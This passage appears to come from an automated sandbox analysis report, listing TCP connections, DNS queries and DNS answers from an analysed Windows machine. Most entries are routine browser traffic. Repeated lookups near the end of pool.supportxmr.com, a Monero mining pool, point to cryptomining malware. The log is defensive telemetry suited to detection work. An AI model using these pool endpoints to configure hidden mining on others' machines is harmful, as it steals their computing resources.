Jul 24, 2024 02:39:28.692559004 CEST	49819	80	192.168.2.4	34.107.221.82
Jul 24, 2024 02:39:28.692666054 CEST	49816	443	192.168.2.4	142.250.186.142
Jul 24, 2024 02:39:28.692722082 CEST	443	49816	142.250.186.142	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 24, 2024 02:39:15.661748886 CEST	192.168.2.4	1.1.1.1	0x7997	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.662075996 CEST	192.168.2.4	1.1.1.1	0x28f3	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Jul 24, 2024 02:39:19.304821014 CEST	192.168.2.4	1.1.1.1	0x8eae	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.305169106 CEST	192.168.2.4	1.1.1.1	0xb644	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Jul 24, 2024 02:39:19.624099016 CEST	192.168.2.4	1.1.1.1	0x26d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.624380112 CEST	192.168.2.4	1.1.1.1	0xe9fa	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 24, 2024 02:39:21.303663015 CEST	192.168.2.4	1.1.1.1	0x700	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:21.304423094 CEST	192.168.2.4	1.1.1.1	0x82e1	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Jul 24, 2024 02:39:21.677318096 CEST	192.168.2.4	1.1.1.1	0xc2c5	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:21.677993059 CEST	192.168.2.4	1.1.1.1	0x9e79	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Jul 24, 2024 02:39:24.147051096 CEST	192.168.2.4	1.1.1.1	0xce79	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:24.152534962 CEST	192.168.2.4	1.1.1.1	0xec6d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 24, 2024 02:39:24.153656960 CEST	192.168.2.4	1.1.1.1	0x73c6	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:24.153831959 CEST	192.168.2.4	1.1.1.1	0x7b5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 24, 2024 02:39:24.238867044 CEST	192.168.2.4	1.1.1.1	0xb85f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:24.239017963 CEST	192.168.2.4	1.1.1.1	0xdccf	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 24, 2024 02:39:25.689726114 CEST	192.168.2.4	1.1.1.1	0x2114	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:25.690304041 CEST	192.168.2.4	1.1.1.1	0x9d2d	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Jul 24, 2024 02:39:25.908925056 CEST	192.168.2.4	1.1.1.1	0x1192	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:25.954058886 CEST	192.168.2.4	1.1.1.1	0x19b5	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 24, 2024 02:39:26.796996117 CEST	192.168.2.4	1.1.1.1	0x15e1	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:26.797116041 CEST	192.168.2.4	1.1.1.1	0x51a2	Standard query (0)	play.google.com	65	IN (0x0001)	false
Jul 24, 2024 02:39:27.640216112 CEST	192.168.2.4	1.1.1.1	0x2695	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:27.666313887 CEST	192.168.2.4	1.1.1.1	0xd8c	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:27.687638044 CEST	192.168.2.4	1.1.1.1	0x45f2	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 24, 2024 02:39:28.152220964 CEST	192.168.2.4	1.1.1.1	0x3367	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:28.160346985 CEST	192.168.2.4	1.1.1.1	0x9033	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:28.162859917 CEST	192.168.2.4	1.1.1.1	0xb0f3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.663633108 CEST	192.168.2.4	1.1.1.1	0xcc0c	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.666465044 CEST	192.168.2.4	1.1.1.1	0x9d5d	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.672211885 CEST	192.168.2.4	1.1.1.1	0xf02c	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.673688889 CEST	192.168.2.4	1.1.1.1	0xc1bf	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 24, 2024 02:39:52.679380894 CEST	192.168.2.4	1.1.1.1	0xcbf1	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 24, 2024 02:39:52.774395943 CEST	192.168.2.4	1.1.1.1	0xbd28	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.783601999 CEST	192.168.2.4	1.1.1.1	0x13cb	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.793165922 CEST	192.168.2.4	1.1.1.1	0xd2ee	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Jul 24, 2024 02:39:53.136656046 CEST	192.168.2.4	1.1.1.1	0x6d07	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:53.248697996 CEST	192.168.2.4	1.1.1.1	0x46a2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:40:23.005342960 CEST	192.168.2.4	1.1.1.1	0x1735	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:40:23.012820005 CEST	192.168.2.4	1.1.1.1	0x81ce	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jul 24, 2024 02:40:43.464252949 CEST	192.168.2.4	1.1.1.1	0x6c6f	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:40:58.503063917 CEST	192.168.2.4	1.1.1.1	0xea10	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:41:11.117701054 CEST	192.168.2.4	1.1.1.1	0x6ef9	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:41:29.770536900 CEST	192.168.2.4	1.1.1.1	0xa655	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 24, 2024 02:39:15.669370890 CEST	1.1.1.1	192.168.2.4	0x28f3	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669370890 CEST	1.1.1.1	192.168.2.4	0x28f3	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:15.669496059 CEST	1.1.1.1	192.168.2.4	0x7997	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311747074 CEST	1.1.1.1	192.168.2.4	0xb644	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311747074 CEST	1.1.1.1	192.168.2.4	0xb644	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.311762094 CEST	1.1.1.1	192.168.2.4	0x8eae	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.630779982 CEST	1.1.1.1	192.168.2.4	0x26d	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:19.630923033 CEST	1.1.1.1	192.168.2.4	0xe9fa	No error (0)	www.google.com			65	IN (0x0001)	false
Jul 24, 2024 02:39:21.311063051 CEST	1.1.1.1	192.168.2.4	0x700	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:21.311080933 CEST	1.1.1.1	192.168.2.4	0x82e1	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:21.684381962 CEST	1.1.1.1	192.168.2.4	0xc2c5	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:21.684381962 CEST	1.1.1.1	192.168.2.4	0xc2c5	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.1	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:21.686851978 CEST	1.1.1.1	192.168.2.4	0x9e79	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:22.998893023 CEST	1.1.1.1	192.168.2.4	0x9a8a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:22.998893023 CEST	1.1.1.1	192.168.2.4	0x9a8a	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:23.028137922 CEST	1.1.1.1	192.168.2.4	0xb6a4	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:24.010840893 CEST	1.1.1.1	192.168.2.4	0x9cc5	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:24.054811954 CEST	1.1.1.1	192.168.2.4	0x3f7	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:24.054811954 CEST	1.1.1.1	192.168.2.4	0x3f7	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:24.154069901 CEST	1.1.1.1	192.168.2.4	0xce79	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:24.154069901 CEST	1.1.1.1	192.168.2.4	0xce79	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:24.159213066 CEST	1.1.1.1	192.168.2.4	0xec6d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 24, 2024 02:39:24.160765886 CEST	1.1.1.1	192.168.2.4	0x73c6	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:24.160765886 CEST	1.1.1.1	192.168.2.4	0x73c6	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:24.160831928 CEST	1.1.1.1	192.168.2.4	0x7b5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 24, 2024 02:39:24.245728016 CEST	1.1.1.1	192.168.2.4	0xb85f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:24.245728016 CEST	1.1.1.1	192.168.2.4	0xb85f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:24.245737076 CEST	1.1.1.1	192.168.2.4	0xdccf	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 24, 2024 02:39:25.696568966 CEST	1.1.1.1	192.168.2.4	0x2114	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:25.696568966 CEST	1.1.1.1	192.168.2.4	0x2114	No error (0)	www3.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:25.697124004 CEST	1.1.1.1	192.168.2.4	0x9d2d	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:25.892802954 CEST	1.1.1.1	192.168.2.4	0xc9c0	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:25.915985107 CEST	1.1.1.1	192.168.2.4	0x1192	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:26.056777000 CEST	1.1.1.1	192.168.2.4	0x6cb6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:26.056777000 CEST	1.1.1.1	192.168.2.4	0x6cb6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:26.808752060 CEST	1.1.1.1	192.168.2.4	0x15e1	No error (0)	play.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:27.198726892 CEST	1.1.1.1	192.168.2.4	0x6cb6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:27.198726892 CEST	1.1.1.1	192.168.2.4	0x6cb6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:27.647725105 CEST	1.1.1.1	192.168.2.4	0x2695	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:27.647725105 CEST	1.1.1.1	192.168.2.4	0x2695	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:27.673105001 CEST	1.1.1.1	192.168.2.4	0xd8c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:27.694652081 CEST	1.1.1.1	192.168.2.4	0x45f2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Jul 24, 2024 02:39:28.093641996 CEST	1.1.1.1	192.168.2.4	0x6cb6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:28.093641996 CEST	1.1.1.1	192.168.2.4	0x6cb6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:28.158890963 CEST	1.1.1.1	192.168.2.4	0x3367	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:28.166851997 CEST	1.1.1.1	192.168.2.4	0x9033	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:28.166851997 CEST	1.1.1.1	192.168.2.4	0x9033	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:28.169750929 CEST	1.1.1.1	192.168.2.4	0xb0f3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:28.169750929 CEST	1.1.1.1	192.168.2.4	0xb0f3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:30.105104923 CEST	1.1.1.1	192.168.2.4	0x6cb6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:30.105104923 CEST	1.1.1.1	192.168.2.4	0x6cb6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:34.108845949 CEST	1.1.1.1	192.168.2.4	0x6cb6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:34.108845949 CEST	1.1.1.1	192.168.2.4	0x6cb6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.664705038 CEST	1.1.1.1	192.168.2.4	0x5933	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:52.664705038 CEST	1.1.1.1	192.168.2.4	0x5933	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.671382904 CEST	1.1.1.1	192.168.2.4	0xcc0c	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:52.671382904 CEST	1.1.1.1	192.168.2.4	0xcc0c	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.673197031 CEST	1.1.1.1	192.168.2.4	0x9d5d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.678924084 CEST	1.1.1.1	192.168.2.4	0xf02c	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.782438993 CEST	1.1.1.1	192.168.2.4	0xbd28	No error (0)	services.addons.mozilla.org		143.204.215.122	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.782438993 CEST	1.1.1.1	192.168.2.4	0xbd28	No error (0)	services.addons.mozilla.org		143.204.215.115	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.782438993 CEST	1.1.1.1	192.168.2.4	0xbd28	No error (0)	services.addons.mozilla.org		143.204.215.105	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.782438993 CEST	1.1.1.1	192.168.2.4	0xbd28	No error (0)	services.addons.mozilla.org		143.204.215.18	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.792705059 CEST	1.1.1.1	192.168.2.4	0x13cb	No error (0)	services.addons.mozilla.org		143.204.215.18	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.792705059 CEST	1.1.1.1	192.168.2.4	0x13cb	No error (0)	services.addons.mozilla.org		143.204.215.122	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.792705059 CEST	1.1.1.1	192.168.2.4	0x13cb	No error (0)	services.addons.mozilla.org		143.204.215.105	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:52.792705059 CEST	1.1.1.1	192.168.2.4	0x13cb	No error (0)	services.addons.mozilla.org		143.204.215.115	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:53.143521070 CEST	1.1.1.1	192.168.2.4	0x6d07	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:53.143521070 CEST	1.1.1.1	192.168.2.4	0x6d07	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:53.255599022 CEST	1.1.1.1	192.168.2.4	0x46a2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:53.255599022 CEST	1.1.1.1	192.168.2.4	0x46a2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:53.554716110 CEST	1.1.1.1	192.168.2.4	0x5ffa	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:53.554716110 CEST	1.1.1.1	192.168.2.4	0x5ffa	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:39:54.042900085 CEST	1.1.1.1	192.168.2.4	0x53e	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:39:54.042900085 CEST	1.1.1.1	192.168.2.4	0x53e	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:40:22.820771933 CEST	1.1.1.1	192.168.2.4	0x7ebc	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:40:23.012226105 CEST	1.1.1.1	192.168.2.4	0x1735	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:40:43.474077940 CEST	1.1.1.1	192.168.2.4	0x6c6f	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:40:43.474077940 CEST	1.1.1.1	192.168.2.4	0x6c6f	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:40:43.474077940 CEST	1.1.1.1	192.168.2.4	0x6c6f	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:40:43.474077940 CEST	1.1.1.1	192.168.2.4	0x6c6f	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
Jul 24, 2024 02:40:58.512953043 CEST	1.1.1.1	192.168.2.4	0xea10	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 24, 2024 02:40:58.512953043 CEST	1.1.1.1	192.168.2.4	0xea10	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false
